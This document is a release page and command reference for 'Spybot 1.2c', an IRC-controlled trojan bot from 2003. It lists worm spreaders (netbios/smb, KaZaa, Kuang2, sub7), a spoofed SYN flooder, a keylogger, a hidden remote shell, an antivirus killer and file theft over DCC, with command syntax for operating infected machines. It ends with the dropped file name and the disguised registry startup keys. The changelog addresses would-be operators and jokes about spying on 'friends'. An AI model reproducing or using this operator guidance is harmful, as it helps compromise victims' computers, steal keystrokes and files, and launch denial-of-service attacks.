Spybot 1.2c

by Mich

Written in C, source included

Released in May 2003

more versions

Spybot1.2c by Mich			
Opensource irc bot
Date: 04:05:2003

- fixed problems connecting to some ircservers 

- fixed the meltserver

- netbios/smb spreader  (you should enable it yourself and dont ask me how)

- ident server

- version and ping reply

- fixed the download function (someone told me it only works for windows servers)

- Function to let the bot talk to the channel every x secs. 

- Function to spy on the portredirect (let your "friends" connect to the portredirect and everything the say will be redirected to your dcc chat with the bot (only works with the dcc chat)) 

- and some other things find out yourself 

Date: 21:04:2003

- Spoofd syn flooder only win 2000 and xp and only if user is logged in as administator (source comes from Tesla's sdbot edition only better :p ) 

- Web Download

- Nickname match login

- Ident match login

- Silent opion so the bot doesnt give a reply just add -s at the end of the command example: killthread 2 -s

- Change server (changes back after reboot)

- uninstall option

- opion for encrypted commands (find out yourself how it works) 

- Fixed a bug the server sometimes craches when there was a lot of activity in the channel (i hope i have fixed it)

- Added a option to give a command in the room for only 1 bot example: Mich threads (and only Mich gives a responce) you can also use the bots version example: spybot1.2b quit and all bots with version spybot1.2b will quit

- Spy redirects all travic from the irc server to the dcc chat 

- Option for the scanner to scan ranges like 12.x.x.x (changes the x for a random number) 

Date: 08:04:2003

Fixed the kuang spreader 

Date: 05:04:2003


- HTTP server
Bot has now a build in http server with option to set rootdir and port 
example: if you set port t0 81 and rootdir to c:\ and you go to url http://victums.ip.address.com:81/ then it will list al files
and dirs in the c:\ dir (same as a filemanager)

- Threads list list of all running threads and option to kill a thread

- Port scanner

- Syn flooder

- Kuang2 and sub7 spreader 

- KaZaa spreader

- Remote cmd.exe runs cmd.exe hidden on the remote pc this allows you to do commands like netstat ftp telnet etc. etc. (doesnt work on win9x as far as i know)

- Keylogger Online and offline keylogger

- PortRedirect

- List processes  
Shows al running processes. 
You can kill a process.

- AV/Firewall killer

- DCC Send
You can send a file to the bot with the normal dcc send option in mIRC (only tested it with mIRC6.03 get it from www.mirc.com)

- Get File
Download a file from the botís pc (the bot will start a dcc send)

- DCC Chat
Just normal dcc chat option in mIRC all commands will also work here, use this if you want do giff a command that has a lot of output most irc servers will disconnect the bot if it sends a lot of data.

- List files
List al files and dirs within your sears query example list c:\windows\*.exe will list al .exe files in the windows dir

- Hostmask match login
When you do the login [password] commands the bot checks if your hostmask matches a hostmask in the trusted hosts list (settings.h). if not you cant login 

- Raw Commands (on connect and onjoin)
Bot reads a list of raw commands when its connected or joins a channel
On join:
	MODE $CHAN +nts
	MODE $CHAN +k trojanforge
On Connect

- Computer info
Gives some pc info including ip address
- Topic commands
Option to gif the bot a command with the topic (when the bot joins the channel)

- Lists the passwords (only win 9x)
- Execute, delete, rename file And make dir
- Sendkeys 
- Open/close cd-rom
- Reboot pc
- Disconnect for x sec.
- Reconnect
- Quit 
- Raw commands

Commands list

Login password
raw [raw command]							(example: raw PRIVMSG #spybot1.1 :hello)
list [path+filter]	  						(example: list c:\*.*)
delete [filename]							(example: delete c:\windows\netstat.exe)
execute [filename]
rename [origenamfile] [newfile]						(example: rename c:\windows\netstat.exe c:\windows\netstatbackup.bak)
makedir [dirname]							(example: makedir c:\test\  )
startkeylogger 								(info: starts onlinekeylogger and output's to the channel\query\dcc chat)
sendkeys [keys]								(info: simulates keypresses, to simulate return hit ctrl+b (bold in mIRC) and for backspace ctrl+u (underlined in mIRC))
keyboardlights								(info: flashes his keyboard lights 50x)
info									(info: gives some info)
passwords								(info: lists the ras passwords in win 9x)
listprocesses								(info: lists all running proccesses)
killprocess [processname] 						(example: killprocess taskmgr.exe)   NOTE: if with listprocesses the entire path shows up you must use it with killprocess to)
disconnect [sec.]							(info: disconnect the bot for x sec. if sec. is not given it disconnect the bot for 30mins.)
quit									(info: bot quits running)
cd-rom [0/1]								(info: opens\close cd-rom. cd-rom 1 = open cd-rom 0 = close)
httpserver [port] [root-dir]         					(example: httpserver 81 c:\)
syn [host] [port] [delay msec.] [times]					(example: syn 80 100 1000)
redirect [input port] [host] [output port]				(example: redirect 100 eu.undernet.org 6667)
threads									(info: will list al threads)
killthread [number]							(info: kills the selected thread)
get [filename]								(example: get c:\windows\system\keylogs.txt will trigger a dcc send on the remote pc)
opencmd									(info: starts cmd.exe on the  remote pc hidden)
cmd [command]								(info: sends a command to cmd.exe example: cmd netstat -an)
scan [start ip address] [port] [delay] [filename] 
example: scan 17300 1 portscan.txt 
download [url] [filename]						(example: download c:\server.exe)
server [new server address]						(example: server
uninstall								(info: uninstalls server note: it doesnt delete the server only removes the startupkeys)
spy									(info: redirects all travic from the irc server to the dcc chat (only works with dcc chat)
stopspy									(info: stops the spy)
redirectspy								(info: redirects all travic from the port redirect to the dcc chat (only works with dcc chat)
stopredirectspy								(info: stops the port redirect spy)

filename is optional when used result will be logged to the filename, if ip is 0 a random ip is generated


DCC chat & DCC send & DCC get works with any normal irc client in mIRC the command is: /dcc chat [nickname] and: dcc send [nickname]


dropped files:
c:\WINDOWS\SYSTEM\wuaumqr.exe   Size: 44.576 bytes

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce "Winsock2 driver" 
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run "Winsock2 driver"